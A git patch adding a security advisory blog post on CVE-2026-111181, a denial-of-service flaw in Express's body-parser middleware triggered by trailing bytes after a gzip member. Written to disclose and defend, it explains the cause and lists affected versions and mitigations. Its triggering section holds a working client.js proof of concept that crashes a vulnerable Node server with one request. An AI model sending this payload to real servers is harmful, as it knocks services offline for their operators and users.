From 1a64b35d3e07e99a6b5d6fdcd7dbbc4b530e3614 Mon Sep 17 00:00:00 2001 From: Gavin Stuart <46635587+blue2cat@users.noreply.github.com> Date: Sat, 24 Oct 2026 14:24:03 -0800 Subject: [PATCH] Add CVE-2026-111181 blog post Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- project-words.txt | 1 + .../blog/2026-10-22-CVE-2026-111181.mdx | 120 ++++++++++++++++++ 2 files changed, 121 insertions(+) create mode 100644 src/content/blog/2026-10-22-CVE-2026-111181.mdx diff --git a/project-words.txt b/project-words.txt index fc6c908665..d762a22dcc 100644 --- a/project-words.txt +++ b/project-words.txt @@ -19,6 +19,7 @@ CITGM Clickjacking codemod Codemods +contentstream couchnode crandmck Davide diff --git a/src/content/blog/2026-10-22-CVE-2026-111181.mdx b/src/content/blog/2026-10-22-CVE-2026-111181.mdx new file mode 100644 index 0000000000..98b422eb21 --- /dev/null +++ b/src/content/blog/2026-10-22-CVE-2026-111181.mdx @@ -0,0 +1,120 @@ +--- +title: 'CVE-2026-111181: Denial of service in body-parser' +description: A flaw in body-parser's handling of compressed request bodies can terminate a process when trailing bytes reach a finished decompression stream +date: 2026-10-22 +tags: ['security'] +authors: + - name: Gavin Stuart + github: blue2cat +--- + +import Alert from '@components/primitives/Alert/Alert.astro'; + +[CVE-2026-111181](https://github.com/advisories/GHSA-27r3-jxmh-p828) is a denial-of-service vulnerability in the Express [`body-parser`](https://www.npmjs.com/package/body-parser) middleware that allows a malicious client to crash a server with a single request. +`body-parser` accepts compressed requests by default, rendering most unpatched versions vulnerable. + +## How it works + +When [`inflate`](https://github.com/expressjs/body-parser#inflate-1) is enabled, the `contentstream()` function that `read()` calls creates a decompression stream and pipes the incoming request into it: + +```js +const stream = createDecompressionStream(encoding, debug); +req.pipe(stream); +return stream; +``` + +Once the body is read, `body-parser` calls `next()` on the success path while the request remains piped into the decoder, without attaching an `error` listener to that stream: + +```js + req.body = parse(str, encoding) +} catch (err) { + next(createError(400, err, { + body: str, + type: err.type || 'entity.parse.failed' + })) + return +} + +next() +``` + +As a result, when a request payload contains a valid gzip member followed by a zero byte and additional data, the following sequence unfolds: + +- The decoder reaches the end of the valid gzip member and signals completion, but does not close. The [`raw-body`](https://www.npmjs.com/package/raw-body) library returns the decoded payload and detaches its event listeners, including the error listener. +- `body-parser` hands control to the next middleware, allowing the Express app to process the request and send a normal response. +- The trailing bytes continue flowing into the still-open decoder, which emits an error because decompression has already finished. +- The only remaining error listener is the one Node's `pipe()` added, which re-emits the error. With nothing else listening, this becomes an uncaught exception that crashes the Node.js process. + +## Triggering the vulnerability + +Any server running an impacted version (see [Vulnerable versions](#vulnerable-versions)) of `body-parser` with request decompression enabled is vulnerable. While the minimal reproduction below uses a raw `node:http` server with `body-parser`, a standard Express 4 or 5 application behaves the same way. + +```js title="server.js" +import http from 'node:http'; +import bodyParser from 'body-parser'; + +const parse = bodyParser.json(); + +http + .createServer((req, res) => parse(req, res, () => res.end('ok\n'))) + .listen(3000, '127.0.0.1', () => console.log('up, pid', process.pid)); +``` + +To trigger the vulnerability, a malicious client sends a body consisting of a valid gzip-compressed `{}` JSON object followed by a zero byte and additional trailing bytes: + +```js title="client.js" +import net from 'node:net'; +import { gzipSync } from 'node:zlib'; + +const body = Buffer.concat([ + gzipSync(Buffer.from('{}')), // a valid compressed frame + Buffer.from([0x00]), // makes gunzip end after the first member + Buffer.alloc(100 * 1024, 0x58), // reaches the decoder after it finishes +]); + +const req = [ + 'POST / HTTP/1.1', + 'Host: x', + 'Content-Type: application/json', + 'Content-Encoding: gzip', + `Content-Length: ${body.length}`, + '', + '', +].join('\r\n'); + +net.connect(3000, '127.0.0.1', function () { + this.on('data', (d) => process.stdout.write(d)); + this.write(req); + this.write(body); +}); +``` + +## Impact + +A remote client can crash the application with a single request, making it easy to take down an entire load-balanced cluster by spreading a handful of requests across vulnerable nodes. When the parser is mounted globally ahead of authentication, the request does not need to match a valid route or pass an authentication check. + +## Vulnerable versions + +- `body-parser` 2.3.x and earlier +- `body-parser` 1.20.8 and earlier + +## Mitigation + +Upgrade to `body-parser` 2.4.0 or later, or 1.20.9 or later. + +If the application does not need compressed request bodies, set `inflate` to `false` to reject encoded requests before a decompression stream is created: + +```js +import bodyParser from 'body-parser'; + +app.use(bodyParser.json({ inflate: false })); +``` + + + This workaround rejects compressed bodies. Upgrade if the application needs to accept them. + + +## References + +- [CVE-2026-111181](https://www.cve.org/CVERecord?id=CVE-2026-111181) +- [GHSA-27r3-jxmh-p828](https://github.com/advisories/GHSA-27r3-jxmh-p828)